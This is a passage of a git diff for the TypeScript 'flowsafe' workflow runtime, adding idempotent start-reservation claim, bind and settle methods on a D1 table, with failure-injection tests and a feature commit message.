+ expect(rows(h.sqlite)[0]?.updated_at).toBe(3_000); + const prepare = vi.fn(h.binding.prepare.bind(h.binding)); + await expect( + new StartIdempotencyStore( + { prepare }, + { now: () => Number.NaN }, + ).settleExecution(execution), + ).rejects.toBeInstanceOf(StartReservationUnreadableError); + expect(prepare).not.toHaveBeenCalled(); + for (const stage of [0, 1, 2]) + await expect( + schemaHarness(stage).store.settleExecution(execution), + ).rejects.toBeInstanceOf(StartReservationUnreadableError); + expect(await harness().store.settleExecution(execution)).toBe(0); + for (const root of [true, false]) { + const missing = new Error('no such table: flowsafe_start_idempotency'); + const cause = root + ? new Error('wrapper', { cause: missing }) + : new Error(missing.message, { cause: new Error('transport') }); + const broken = new StartIdempotencyStore( + interceptReservations(h.binding, async () => { + throw cause; + }), + ); + if (root) + await expect(broken.settleExecution(execution)).resolves.toBe(0); + else + await expect(broken.settleExecution(execution)).rejects.toMatchObject({ + cause, + }); + } + }); + + it.each([ + 'associateReservation', + 'bindPreparedStart', + ] as const)('%s retains the original thrown write cause when its row is absent or readback fails', async (method) => { + for (const mode of ['unbound', 'absent', 'dropped', 'read-error']) { + const h = await modern('started'); + const cause = new Error('write response unavailable'); + let reads = 0; + let updates = 0; + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + if (sql.startsWith('UPDATE')) { + updates += 1; + if (mode === 'absent') + h.sqlite.exec('DELETE FROM flowsafe_start_idempotency'); + if (mode === 'dropped') + h.sqlite.exec('DROP TABLE flowsafe_start_idempotency'); + throw cause; + } + if (sql.startsWith('SELECT')) { + reads += 1; + if (mode === 'read-error') throw new Error('readback failed'); + } + return execute(); + }), + ); + await expect(store[method](h.observed, execution)).rejects.toMatchObject({ + cause, + }); + expect(updates).toBe(1); + expect(reads).toBe(1); + } + }); + + it.each([ + ...methods, + 'settleExecution' as const, + ])('%s handles a table disappearing after schema validation without recreating it', async (method) => { + const h = await modern( + method === 'claimReservation' ? 'reserved' : 'started', + ); + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + if (sql.startsWith('UPDATE')) + h.sqlite.exec('DROP TABLE flowsafe_start_idempotency'); + return execute(); + }), + ); + const operation = + method === 'settleExecution' + ? store.settleExecution(execution) + : invoke(store, method, h.observed); + if (method === 'settleExecution') await expect(operation).resolves.toBe(0); + else + await expect(operation).rejects.toBeInstanceOf( + StartReservationUnreadableError, + ); + expect( + h.sqlite + .prepare("SELECT name FROM sqlite_master WHERE type = 'table'") + .all(), + ).toEqual([]); + }); + + it.each([ + 'duplicate', + 'foreign', + 'timestamp', + 'sparse', + 'failed', + 'throw', + ] as const)('settlement rejects %s responses without recovery or restamping on retry', async (mode) => { + const h = await modern('started'); + await h.store.bindPreparedStart(h.observed, execution); + const queries: string[] = []; + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + queries.push(sql); + const result = (await execute()) as { + results: Array>; + }; + if (!sql.startsWith('UPDATE')) return result; + const row = result.results[0]; + if (!row) throw new Error('settlement row is missing'); + if (mode === 'throw') throw new Error('lost settlement response'); + if (mode === 'failed') return { success: false, results: [row] }; + if (mode === 'sparse') return { results: new Array(1) }; + return { + results: + mode === 'duplicate' + ? [row, row] + : [ + { + ...row, + [mode === 'foreign' ? 'start_token' : 'updated_at']: + mode === 'foreign' ? 'other' : 99, + }, + ], + }; + }), + { now: () => 2_000 }, + ); + await expect(store.settleExecution(execution)).rejects.toBeInstanceOf( + StartReservationUnreadableError, + ); + expect(queries.some((sql) => sql.startsWith('SELECT'))).toBe(false); + expect(await h.store.settleExecution(execution)).toBe(0); + expect(rows(h.sqlite)[0]?.updated_at).toBe(2_000); + }); + + it('keeps modern primitives dormant during ordinary start replay rollback and terminal flows', async () => { + const h = harness(); + const spies = [...methods, 'settleExecution' as const].map((method) => + vi.spyOn(h.store, method), + ); + const request = workflowRequest('key', 'run'); + await expect( + beginIdempotentStart(h.store, request, EMPTY_SURFACE), + ).resolves.toMatchObject({ kind: 'start' }); + expect(await h.store.release('key', 'run')).toBe(true); + await expect( + beginIdempotentStart(h.store, request, EMPTY_SURFACE), + ).resolves.toMatchObject({ kind: 'start' }); + await expect( + beginIdempotentStart(h.store, request, { + ...EMPTY_SURFACE, + persisted: async () => 'done', + }), + ).resolves.toMatchObject({ kind: 'replay', persisted: 'done' }); + expect(await h.store.settleRun('run')).toBe(1); + h.sqlite.exec( + 'UPDATE flowsafe_start_idempotency SET created_at = 100, updated_at = -0.5', + ); + expect((await h.store.read('key'))?.updatedAt).toBe(-0.5); + expect(rows(h.sqlite)[0]).toMatchObject(legacyBinding); + for (const spy of spies) { + expect(spy).not.toHaveBeenCalled(); + spy.mockRestore(); + } + }); +}); + describe('strict initial-admission reservation observations', () => { it.each([ 'row', diff --git a/packages/flowsafe/src/do-runner/start-idempotency.ts b/packages/flowsafe/src/do-runner/start-idempotency.ts index 4265615b..3dff2e5b 100644 --- a/packages/flowsafe/src/do-runner/start-idempotency.ts +++ b/packages/flowsafe/src/do-runner/start-idempotency.ts @@ -86,20 +86,45 @@ import { EXECUTION_PRINCIPAL_KINDS, - type ExecutionPrincipalKind, isExecutionPrincipalId, isExecutionPrincipalKind, } from '../approval-api/principal-identity.js'; import { missingTableReadsEmpty } from './cause-chain.js'; import { DoStatusError } from './do-status-error.js'; import { + InvalidExecutionIdentityError, normalizeRunExecutionIdentity, + normalizeStartExecutionIdentity, normalizeStartIdentity, - type RunExecutionIdentity, + RunAdmissionConflictError, + type StartExecutionIdentity, } from './execution-admission.js'; import type { ExecutionFenceWiring } from './execution-fence.js'; import { isExecutionFenceRefusal } from './execution-fence.js'; import { isPathSafeId } from './path-safe-id.js'; +import { + captureReservation, + START_RESERVATION_STATES, + START_TARGET_KINDS, + type StartReservation, + type StartReservationBinding, + type StartReservationOwner, + type StartReservationReading, + type StartReservationState, + type StartTargetKind, + sameReservationIdentity, +} from './start-reservation-contract.js'; + +export { + START_RESERVATION_STATES, + START_TARGET_KINDS, + type StartReservation, + type StartReservationBinding, + type StartReservationOwner, + type StartReservationReading, + type StartReservationState, + type StartTargetKind, +} from './start-reservation-contract.js'; /** * The reservation table — flowsafe-owned, so outside the `mastra_%` schema @@ -111,81 +136,6 @@ import { isPathSafeId } from './path-safe-id.js'; */ export const START_IDEMPOTENCY_TABLE = 'flowsafe_start_idempotency'; -export const START_RESERVATION_STATES = [ - 'reserved', - 'started', - 'terminal', -] as const; - -/** - * Where a reservation is in its life: - * - * reserved the key means this runId, and nobody has started it yet - * started one caller won the claim and is (or was) executing - * terminal the run reached a terminal state; the key is spent - * - * The states only ever move forward, with ONE exception: a start refused by the - * execution fence rolls `started` back to `reserved` (see `release`), because a - * fence refusal is the one failure that provably executed nothing. - */ -export type StartReservationState = (typeof START_RESERVATION_STATES)[number]; - -export const START_TARGET_KINDS = ['workflow', 'agent'] as const; - -/** Which execution family a key names — a workflow run, or an agent run. */ -export type StartTargetKind = (typeof START_TARGET_KINDS)[number]; - -/** - * WHO a key belongs to. An execution principal, projected to the same two - * fields `ResourceOwner` carries, and for the same reason: a key is a - * capability to converge on somebody's run, so it must be scoped to whoever - * created it and unforgeable from tenant traffic. - */ -export interface StartReservationOwner { - readonly kind: ExecutionPrincipalKind; - readonly id: string; -} - -/** One reservation row, as every surface reads it. */ -export interface StartReservation { - readonly key: string; - readonly owner: StartReservationOwner; - readonly targetKind: StartTargetKind; - readonly targetId: string; - readonly runId: string; - /** - * The agent run's thread, when the target is an agent. It is the run's - * ADDRESS: a workflow run is reachable from (workflowId, runId) alone, but an - * agent run lives in a thread object and a retry that minted a fresh thread - * would otherwise have no way back to the original. Absent for workflows, - * where storing a derivable address would be a second source of truth. - */ - readonly threadId?: string; - readonly state: StartReservationState; - /** - * Epoch ms of the reserve that created this row. Provenance only: the purge - * horizon is measured from `updatedAt`, so that a key's validity runs from - * the moment it was SPENT rather than from the moment it was first used — - * a long run must not age its own reservation out while it is still running. - */ - readonly createdAt: number; - /** - * Epoch ms of the last state change — `pendingSince` on a live claim, and the - * column the purge horizon is measured from once the row is terminal. - */ - readonly updatedAt: number; - readonly binding?: StartReservationBinding; -} - -export type StartReservationBinding = - | { readonly kind: 'legacy' } - | { readonly kind: 'unbound' } - | { readonly kind: 'bound'; readonly execution: RunExecutionIdentity }; - -export interface StartReservationReading extends StartReservation { - readonly binding: StartReservationBinding; -} - export interface StartReservationRequest { /** * `unknown` rather than `string`, the same posture (and for the same reason) @@ -886,6 +836,75 @@ function assertOwner(owner: unknown): StartReservationOwner { return { kind, id }; } +function assertReservationStartIdentity( + reservation: StartReservationReading, + execution: StartExecutionIdentity, +): void { + if ( + reservation.owner.kind !== execution.owner.kind || + reservation.owner.id !== execution.owner.id + ) + throw new StartReservationOwnerMismatchError(reservation.key); + if ( + reservation.targetKind !== execution.target.kind || + reservation.targetId !== execution.target.id + ) + throw new StartReservationTargetMismatchError(reservation.key, reservation); + if ( + reservation.runId !== execution.runId || + reservation.threadId !== + (execution.target.kind === 'agent' + ? execution.target.threadId + : undefined) || + (execution.target.kind === 'workflow' && + execution.workflowId !== execution.target.id) + ) + throw new InvalidExecutionIdentityError('admission'); +} + +function sameReservationExecution( + reservation: StartReservationReading, + execution: StartExecutionIdentity, +): boolean { + return ( + reservation.runId === execution.runId && + reservation.owner.kind === execution.owner.kind && + reservation.owner.id === execution.owner.id && + reservation.targetKind === execution.target.kind && + reservation.targetId === execution.target.id && + reservation.threadId === + (execution.target.kind === 'agent' + ? execution.target.threadId + : undefined) && + reservation.binding.kind === 'bound' && + reservation.binding.execution.runId === execution.runId && + reservation.binding.execution.startToken === execution.startToken && + reservation.binding.execution.tablePrefix === execution.tablePrefix && + reservation.binding.execution.workflowId === execution.workflowId + ); +} + +function reservationMutationResult( + result: unknown, + observed: StartReservationReading, + state: StartReservationState, + updatedAt: number, + execution?: StartExecutionIdentity, +): StartReservationReading | undefined { + const row = decodeStartReservationAdmissionResult(result); + if ( + row !== undefined && + (!sameReservationIdentity(row, observed) || + row.state !== state || + row.updatedAt !== updatedAt || + (execution === undefined + ? row.binding.kind !== 'unbound' + : !sameReservationExecution(row, execution))) + ) + throw new Error('reservation mutation returned an unexpected row'); + return row; +} + export interface StartIdempotencyStoreOptions { /** Injectable clock for `created_at`/`updated_at` (tests, fixtures). */ now?: () => number; @@ -1077,6 +1096,349 @@ export class StartIdempotencyStore { return this.#casState(key, runId, 'started', 'reserved'); } + /** @internal Claim only this observed modern-unbound reservation. */ + async claimReservation( + observed: StartReservationReading, + ): Promise { + const reservation = captureReservation(observed, 'reserved'); + const next = this.#nextReservationStamp(reservation); + await this.#requireReservationSchema(reservation.key); + let result: unknown; + try { + result = await this.#db + .prepare( + `UPDATE ${START_IDEMPOTENCY_TABLE} SET state = 'started', updated_at = ? + WHERE key = ? AND run_id = ? + AND owner_kind = ? AND owner_id = ? + AND target_kind = ? AND target_id = ? AND thread_id IS ? + AND created_at = ? AND updated_at = ? AND state = ? + AND state = 'reserved' + AND start_token = '' AND start_table_prefix IS NULL AND start_workflow_id IS NULL + RETURNING *`, + ) + .bind( + next, + reservation.key, + reservation.runId, + reservation.owner.kind, + reservation.owner.id, + reservation.targetKind, + reservation.targetId, + reservation.threadId ?? null, + reservation.createdAt, + reservation.updatedAt, + reservation.state, + ) + .all(); + } catch (error) { + throw new StartReservationUnreadableError(reservation.key, { + cause: error, + }); + } + try { + return reservationMutationResult(result, reservation, 'started', next); + } catch (error) { + throw new StartReservationUnreadableError(reservation.key, { + cause: error, + }); + } + } + + /** @internal Release only the exact unbound claim, without readback recovery. */ + async releaseReservation( + observed: StartReservationReading, + ): Promise { + const reservation = captureReservation(observed, 'started'); + const next = this.#nextReservationStamp(reservation); + await this.#requireReservationSchema(reservation.key); + let result: unknown; + try { + result = await this.#db + .prepare( + `UPDATE ${START_IDEMPOTENCY_TABLE} SET state = 'reserved', updated_at = ? + WHERE key = ? AND run_id = ? + AND owner_kind = ? AND owner_id = ? + AND target_kind = ? AND target_id = ? AND thread_id IS ? + AND created_at = ? AND updated_at = ? AND state = ? + AND state = 'started' + AND start_token = '' AND start_table_prefix IS NULL AND start_workflow_id IS NULL + RETURNING *`, + ) + .bind( + next, + reservation.key, + reservation.runId, + reservation.owner.kind, + reservation.owner.id, + reservation.targetKind, + reservation.targetId, + reservation.threadId ?? null, + reservation.createdAt, + reservation.updatedAt, + reservation.state, + ) + .all(); + } catch (error) { + throw new StartReservationUnreadableError(reservation.key, { + cause: error, + }); + } + try { + return ( + reservationMutationResult(result, reservation, 'reserved', next) !== + undefined + ); + } catch (error) { + throw new StartReservationUnreadableError(reservation.key, { + cause: error, + }); + } + } + + /** @internal Associate an alias with an already-observed nonpending execution. */ + async associateReservation( + observed: StartReservationReading, + execution: StartExecutionIdentity, + ): Promise { + const reservation = captureReservation(observed, 'nonterminal'); + const identity = normalizeStartExecutionIdentity(execution); + assertReservationStartIdentity(reservation, identity); + await this.#requireReservationSchema(reservation.key); + let result: unknown; + let failed = false; + let writeCause: unknown; + try { + result = await this.#db + .prepare( + `UPDATE ${START_IDEMPOTENCY_TABLE} + SET start_token = ?, start_table_prefix = ?, start_workflow_id = ? + WHERE key = ? AND run_id = ? + AND owner_kind = ? AND owner_id = ? + AND target_kind = ? AND target_id = ? AND thread_id IS ? + AND created_at = ? AND updated_at = ? AND state = ? + AND state <> 'terminal' + AND start_token = '' AND start_table_prefix IS NULL AND start_workflow_id IS NULL + RETURNING *`, + ) + .bind( + identity.startToken, + identity.tablePrefix, + identity.workflowId, + reservation.key, + reservation.runId, + reservation.owner.kind, + reservation.owner.id, + reservation.targetKind, + reservation.targetId, + reservation.threadId ?? null, + reservation.createdAt, + reservation.updatedAt, + reservation.state, + ) + .all(); + } catch (error) { + failed = true; + writeCause = error; + } + if (!failed) { + try { + const row = reservationMutationResult( + result, + reservation, + reservation.state, + reservation.updatedAt, + identity, + ); + if (row) return row; + } catch (error) { + throw new StartReservationUnreadableError(reservation.key, { + cause: error, + }); + } + } + let current: StartReservationReading | undefined; + try { + current = await this.readForAdmission(reservation.key); + } catch (error) { + if (!failed) throw error; + } + if ( + current && + sameReservationIdentity(current, reservation) && + sameReservationExecution(current, identity) + ) + return current; + if (failed) + throw new StartReservationUnreadableError(reservation.key, { + cause: writeCause, + }); + throw new RunAdmissionConflictError('reservation-changed'); + } + + /** @internal Bind a prepared start; only exact lost-write readback can recover. */ + async bindPreparedStart( + observed: StartReservationReading, + execution: StartExecutionIdentity, + ): Promise { + const reservation = captureReservation(observed, 'started'); + const identity = normalizeStartExecutionIdentity(execution); + assertReservationStartIdentity(reservation, identity); + await this.#requireReservationSchema(reservation.key); + let result: unknown; + try { + result = await this.#db + .prepare( + `UPDATE ${START_IDEMPOTENCY_TABLE} + SET start_token = ?, start_table_prefix = ?, start_workflow_id = ? + WHERE key = ? AND run_id = ? + AND owner_kind = ? AND owner_id = ? + AND target_kind = ? AND target_id = ? AND thread_id IS ? + AND created_at = ? AND updated_at = ? AND state = ? + AND state = 'started' + AND start_token = '' AND start_table_prefix IS NULL AND start_workflow_id IS NULL + RETURNING *`, + ) + .bind( + identity.startToken, + identity.tablePrefix, + identity.workflowId, + reservation.key, + reservation.runId, + reservation.owner.kind, + reservation.owner.id, + reservation.targetKind, + reservation.targetId, + reservation.threadId ?? null, + reservation.createdAt, + reservation.updatedAt, + reservation.state, + ) + .all(); + } catch (error) { + let current: StartReservationReading | undefined; + try { + current = await this.readForAdmission(reservation.key); + } catch { + // Preserve the write uncertainty even when its one readback also fails. + } + if ( + current && + sameReservationIdentity(current, reservation) && + current.state === reservation.state && + current.updatedAt === reservation.updatedAt && + sameReservationExecution(current, identity) + ) + return current; + throw new StartReservationUnreadableError(reservation.key, { + cause: error, + }); + } + let row: StartReservationReading | undefined; + try { + row = reservationMutationResult( + result, + reservation, + reservation.state, + reservation.updatedAt, + identity, + ); + } catch (error) { + throw new StartReservationUnreadableError(reservation.key, { + cause: error, + }); + } + if (row) return row; + throw new RunAdmissionConflictError('reservation-changed'); + } + + /** @internal Settle every alias of this complete physical/logical execution. */ + async settleExecution(execution: StartExecutionIdentity): Promise { + const identity = normalizeStartExecutionIdentity(execution); + const clock = this.#reservationClock(identity.runId); + let result: unknown; + try { + const stage = await this.#schemaStage(); + if (stage === undefined) return 0; + if (stage !== 3) + throw new ReservationSchemaError('settlement requires current schema'); + result = await this.#db + .prepare( + `UPDATE ${START_IDEMPOTENCY_TABLE} SET state = 'terminal', updated_at = ? + WHERE run_id = ? AND start_token = ? AND start_table_prefix IS ? + AND start_workflow_id = ? AND owner_kind = ? AND owner_id = ? + AND target_kind = ? AND target_id = ? AND thread_id IS ? + AND state <> 'terminal' RETURNING *`, + ) + .bind( + clock, + identity.runId, + identity.startToken, + identity.tablePrefix, + identity.workflowId, + identity.owner.kind, + identity.owner.id, + identity.target.kind, + identity.target.id, + identity.target.kind === 'agent' ? identity.target.threadId : null, + ) + .all(); + } catch (error) { + if (isMissingReservationTable(error)) return 0; + throw new StartReservationUnreadableError(identity.runId, { + cause: error, + }); + } + try { + const keys = new Set(); + for (const raw of reservationResultRows(result)) { + const row = admissionReservationFromRow(raw, 3); + if ( + keys.has(row.key) || + row.state !== 'terminal' || + row.updatedAt !== clock || + !sameReservationExecution(row, identity) + ) + throw new Error('settlement returned an unexpected reservation'); + keys.add(row.key); + } + return keys.size; + } catch (error) { + throw new StartReservationUnreadableError(identity.runId, { + cause: error, + }); + } + } + + #reservationClock(key: string): number { + try { + const clock = this.#now(); + if (!Number.isFinite(clock)) + throw new Error('reservation clock is not finite'); + return clock; + } catch (error) { + throw new StartReservationUnreadableError(key, { cause: error }); + } + } + + #nextReservationStamp(reservation: StartReservationReading): number { + const clock = this.#reservationClock(reservation.key); + const next = Math.max(clock, reservation.updatedAt + 1); + if (!Number.isFinite(next) || next <= reservation.updatedAt) + throw new StartReservationUnreadableError(reservation.key, { + cause: new Error('reservation update stamp is exhausted'), + }); + return next; + } + + async #requireReservationSchema(key: string): Promise { + try { + if ((await this.#schemaStage()) !== 3) + throw new ReservationSchemaError('mutation requires current schema'); + } catch (error) { + throw new StartReservationUnreadableError(key, { cause: error }); + } + } + /** * Terminal reconcile, keyed by RUN rather than by key: the runtime observes a * run reaching a terminal state and has no idea which key (if any) named it. diff --git a/packages/flowsafe/src/do-runner/start-reservation-contract.ts b/packages/flowsafe/src/do-runner/start-reservation-contract.ts new file mode 100644 index 00000000..cb3045d2 --- /dev/null +++ b/packages/flowsafe/src/do-runner/start-reservation-contract.ts @@ -0,0 +1,154 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { ExecutionPrincipalKind } from '../approval-api/principal-identity.js'; +import { + InvalidExecutionIdentityError, + normalizeStartIdentity, + type RunExecutionIdentity, +} from './execution-admission.js'; +import { isPathSafeId } from './path-safe-id.js'; + +export const START_RESERVATION_STATES = [ + 'reserved', + 'started', + 'terminal', +] as const; + +/** + * Where a reservation is in its life: + * + * reserved the key means this runId, and nobody has started it yet + * started one caller won the claim and is (or was) executing + * terminal the run reached a terminal state; the key is spent + * + * The states only ever move forward, with ONE exception: a start refused by the + * execution fence rolls `started` back to `reserved` (see `release`), because a + * fence refusal is the one failure that provably executed nothing. + */ +export type StartReservationState = (typeof START_RESERVATION_STATES)[number]; + +export const START_TARGET_KINDS = ['workflow', 'agent'] as const; + +/** Which execution family a key names — a workflow run, or an agent run. */ +export type StartTargetKind = (typeof START_TARGET_KINDS)[number]; + +/** + * WHO a key belongs to. An execution principal, projected to the same two + * fields `ResourceOwner` carries, and for the same reason: a key is a + * capability to converge on somebody's run, so it must be scoped to whoever + * created it and unforgeable from tenant traffic. + */ +export interface StartReservationOwner { + readonly kind: ExecutionPrincipalKind; + readonly id: string; +} + +/** One reservation row, as every surface reads it. */ +export interface StartReservation { + readonly key: string; + readonly owner: StartReservationOwner; + readonly targetKind: StartTargetKind; + readonly targetId: string; + readonly runId: string; + /** + * The agent run's thread, when the target is an agent. It is the run's + * ADDRESS: a workflow run is reachable from (workflowId, runId) alone, but an + * agent run lives in a thread object and a retry that minted a fresh thread + * would otherwise have no way back to the original. Absent for workflows, + * where storing a derivable address would be a second source of truth. + */ + readonly threadId?: string; + readonly state: StartReservationState; + /** + * Epoch ms of the reserve that created this row. Provenance only: the purge + * horizon is measured from `updatedAt`, so that a key's validity runs from + * the moment it was SPENT rather than from the moment it was first used — + * a long run must not age its own reservation out while it is still running. + */ + readonly createdAt: number; + /** + * Epoch ms of the last state change — `pendingSince` on a live claim, and the + * column the purge horizon is measured from once the row is terminal. + */ + readonly updatedAt: number; + readonly binding?: StartReservationBinding; +} + +export type StartReservationBinding = + | { readonly kind: 'legacy' } + | { readonly kind: 'unbound' } + | { readonly kind: 'bound'; readonly execution: RunExecutionIdentity }; + +export interface StartReservationReading extends StartReservation { + readonly binding: StartReservationBinding; +} + +function record(value: unknown): Record { + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new InvalidExecutionIdentityError('admission'); + return value as Record; +} + +export function captureReservation( + value: StartReservationReading, + expectedState: 'reserved' | 'started' | 'nonterminal', +): StartReservationReading { + const { + key, + owner, + targetKind, + targetId, + runId, + threadId, + state, + createdAt, + updatedAt, + binding, + } = record(value); + const identity = normalizeStartIdentity({ + owner, + target: { kind: targetKind, id: targetId, threadId }, + }); + if ( + record(binding).kind !== 'unbound' || + (state !== 'reserved' && state !== 'started') || + (expectedState !== 'nonterminal' && state !== expectedState) || + !isPathSafeId(key) || + !isPathSafeId(runId) || + typeof createdAt !== 'number' || + !Number.isFinite(createdAt) || + typeof updatedAt !== 'number' || + !Number.isFinite(updatedAt) + ) + throw new InvalidExecutionIdentityError('admission'); + return Object.freeze({ + key, + runId, + owner: identity.owner, + targetKind: identity.target.kind, + targetId: identity.target.id, + ...(identity.target.kind === 'agent' + ? { threadId: identity.target.threadId } + : {}), + state, + createdAt, + updatedAt, + binding: Object.freeze({ kind: 'unbound' as const }), + }); +} + +export function sameReservationIdentity( + actual: StartReservationReading, + expected: StartReservationReading, +): boolean { + return ( + actual.key === expected.key && + actual.runId === expected.runId && + actual.owner.kind === expected.owner.kind && + actual.owner.id === expected.owner.id && + actual.targetKind === expected.targetKind && + actual.targetId === expected.targetId && + actual.threadId === expected.threadId && + actual.createdAt === expected.createdAt + ); +} From 6029d15c1728c172e9ec37b2de7c9ed6cf971852 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 8 Sep 2026 13:37:33 +0400 Subject: [PATCH 083/169] feat(flowsafe): activate durable execution generations Bind starts, recovery journals and replay to captured execution generations. Require exact settlement before host cleanup and retain validated legacy ordinary-operation compatibility. --- .changeset/sticky-fence-epochs.md | 22 +- docs/approval-system.md | 2 + docs/deployment-reference.md | 8 +- docs/do-runner-design.md | 50 +- docs/durable-agents.md | 12 +- .../src/conformance/state-durable-objects.ts | 1 + packages/agent-starter/src/durable-objects.ts | 8 +- .../agent-starter/src/principal-context.ts | 1 + .../test/durable-object-lifecycle.test.ts | 85 +- .../test/execution-fence-composition.test.ts | 133 +- packages/flowsafe/README.md | 4 +- .../flowsafe/scripts/agent-host-pack-test.mjs | 92 +- .../scripts/provisioning-pack-test.mjs | 17 +- .../spike/durability-benchmark.worker.ts | 1 + packages/flowsafe/spike/worker.ts | 11 +- .../flowsafe/src/agent-host/router.test.ts | 35 + .../src/agent-host/thread-host.test.ts | 3408 ++++++++++++++++- .../flowsafe/src/agent-host/thread-host.ts | 1659 +++++--- .../src/agent-host/thread-topology.test.ts | 472 ++- .../src/agent-host/thread-topology.ts | 301 +- .../agent-runner/durable-agent-runner.test.ts | 676 +++- .../src/agent-runner/durable-agent-runner.ts | 212 +- .../durable-agent-surface.test.ts | 3 + .../flowsafe/src/approval-api/service.test.ts | 143 +- packages/flowsafe/src/approval-api/service.ts | 60 +- .../src/do-runner/durable-object.test.ts | 2317 ++++++++++- .../flowsafe/src/do-runner/durable-object.ts | 733 +++- .../src/do-runner/execution-admission.test.ts | 33 + .../src/do-runner/execution-admission.ts | 24 + .../src/do-runner/execution-context.test.ts | 14 + .../src/do-runner/execution-context.ts | 1 + .../src/do-runner/execution-fence.test.ts | 611 ++- .../flowsafe/src/do-runner/execution-fence.ts | 361 +- .../do-runner/fenced-workflow-capability.ts | 2 +- .../src/do-runner/fenced-workflows-d1.test.ts | 13 +- packages/flowsafe/src/do-runner/index.ts | 6 +- .../flowsafe/src/do-runner/inventory.test.ts | 153 +- .../src/do-runner/run-terminal-state.test.ts | 31 + .../src/do-runner/run-terminal-state.ts | 13 + .../flowsafe/src/do-runner/runtime.test.ts | 2895 +++++++++++++- packages/flowsafe/src/do-runner/runtime.ts | 1730 ++++++--- .../src/do-runner/start-idempotency.test.ts | 1100 ++++-- .../src/do-runner/start-idempotency.ts | 984 ++--- .../do-runner/start-reservation-contract.ts | 402 +- .../flowsafe/src/do-runner/thread-do.test.ts | 69 +- packages/flowsafe/src/do-runner/thread-do.ts | 8 +- .../src/execution-entry-matrix.test.ts | 897 ++++- packages/flowsafe/src/host-kit/do-response.ts | 230 ++ .../src/host-kit/do-run-topology.test.ts | 372 ++ .../flowsafe/src/host-kit/do-run-topology.ts | 84 +- .../src/host-kit/flowsafe-worker.test.ts | 148 +- .../flowsafe/src/host-kit/flowsafe-worker.ts | 16 +- .../host-kit/host-approval-service.test.ts | 49 + .../src/host-kit/host-approval-service.ts | 2 + packages/flowsafe/src/host-kit/index.ts | 2 + .../flowsafe/src/host-kit/run-router.test.ts | 83 +- packages/flowsafe/src/host-kit/run-router.ts | 52 +- packages/flowsafe/src/schedules/tick.test.ts | 48 + packages/flowsafe/src/schedules/tick.ts | 3 + .../thread-do-routes.real-agent.test.ts | 98 + .../src/signals/thread-do-routes.test.ts | 744 +++- .../flowsafe/src/signals/thread-do-routes.ts | 146 +- packages/flowsafe/src/wiring-census.test.ts | 11 + 63 files changed, 18812 insertions(+), 3089 deletions(-) diff --git a/.changeset/sticky-fence-epochs.md b/.changeset/sticky-fence-epochs.md index 4f66ab04..3c425391 100644 --- a/.changeset/sticky-fence-epochs.md +++ b/.changeset/sticky-fence-epochs.md @@ -2,24 +2,24 @@ '@proofoftech/flowsafe': minor --- -Add versioned execution-fence administration with artifact epochs, a sticky epoch requirement, transition revisions, and exact last-command retry receipts. Admin reads and successful transitions return the complete versioned reading without exposing receipts. Legacy commands remain compatible only while the requirement is optional; proof metadata can bind to an admitted epoch and revision. +Add versioned execution-fence administration with artifact epochs, a sticky epoch requirement, transition revisions and exact last-command retry receipts. Upgrade supported legacy schemas additively without changing existing state or timestamps. Missing rows in new-format schemas fail closed. Admin responses omit receipts, proof execution identity and tokens; legacy commands remain compatible only while the epoch requirement is optional. -Upgrade supported legacy fence schemas additively without changing existing state, proof metadata, or timestamps. A missing row in a new-format schema now fails closed instead of reopening the deployment. Administrative metadata alone does not enforce final run or schedule writes; activation requires every writer to support final-write epoch checks. +Activate v2 Runtime generations with independently generated execution tokens and preserved original principal, logical target, caller epoch and agent mode across resume legs. Fenced starts require the actual D1 domain's positive initial-write witness before engine entry, binding the winning reservation and proof in the same admission transaction. Capable D1 without a fence keeps its actual namespace and ordinary persistence options; custom storage explicitly asserts no D1 namespace. Unfenced keyed starts bind their prepared identity before creation and retain uncertain outcomes. -Add execution-identity and mutation-epoch validation/header helpers through do-runner and host-kit. Identity normalizers return frozen copies, preserve explicit unfenced namespaces, and validate identifiers without granting authority. Preserve the existing execution-fence unreadable error constructor across import paths. +Persist preparing, prepared and prepared-unfenced journals in both managed hosts. Recover exact owned initial generations through the existing raw-row conditional repair without replaying effects or deleting tokenless snapshots. Require strict terminal reservation settlement before approval, dispatch, owner and lifecycle cleanup, then clear only the matching journal. Cold agent alarms initialize actual wrappers with the verified instance scope. Legacy journals and uncertain unfenced pending/absent outcomes remain unresolved. -Read additive reservation bindings and D1 proof identities, preserving active fence metadata during schema upgrades. Admin responses omit proof identity and tokens. Current reservation writes remain legacy-null, and Runtime provenance, lifecycle APIs, and run-ID-based predicates retain their existing behavior; automatic generation binding and final-write enforcement are not enabled by these additions. +Keep the thread blocking-run check and run-record installation under the same lock. Validate workflow journals against the owning object's address and recheck complete agent journals after recovery waits before releasing reservations. Keyed recovery requires its configured reservation store before bookkeeping, including nonterminal outcomes. -Add an explicit same-binding D1 initial-admission capability with atomic snapshot, winning reservation and proof writes, exact raw reads, and scoped no-insert evidence. Default and serialized background workflow domains support it while ordinary unscoped writes retain adapter behavior. Built-in Runtime and hosts do not yet activate this primitive; complete recovery and writer integration remain required before artifact-epoch enforcement is enabled. +Share cold agent-wrapper initialization across concurrent requests. Probe the owning execution's liveness before reclaiming an existing reserved key, so a stream awaiting Core cleanup keeps retries pending without stranding the key. Unreadable liveness replies refuse the retry instead of authorizing a claim. -Add explicit expected-row terminalization to the owned D1 capability. It derives an unknown-effects failure or the stored cancellation/timeout intent, joins the existing background workflow queue, and reports exact conditional-write/readback outcomes without replaying execution or performing cleanup. Keep ordinary admission stamps and Runtime v1 behavior unchanged. Reject exhausted lifecycle revision and resume ordinal increments before persistence or execution while preserving readable maximum-valued counters on no-increment paths. +Require a matching nonpending durable observation before modern start/resume success or the agent persistence acknowledgement. Return `RUN_START_PENDING` for a valid initial generation, preserving journals, watchdogs and pending schedule/deadline budgets. Project root-local summaries from the same selected observation, retaining detailed nested resume preparation and legacy compatibility. -Carry trusted caller epochs through Worker configuration, actor contexts, protected topology headers, Durable Object ingress and the internal agent bridge. Capture original actor/principal/selector values before waits while preserving class-backed host method receivers. The internal agent start now requires an eighth authority argument with an explicit prepared-callback property. Built-in callbacks remain undefined and Runtime still emits v1: this transport does not activate final-write epoch enforcement, generation binding or managed recovery. +Preserve valid 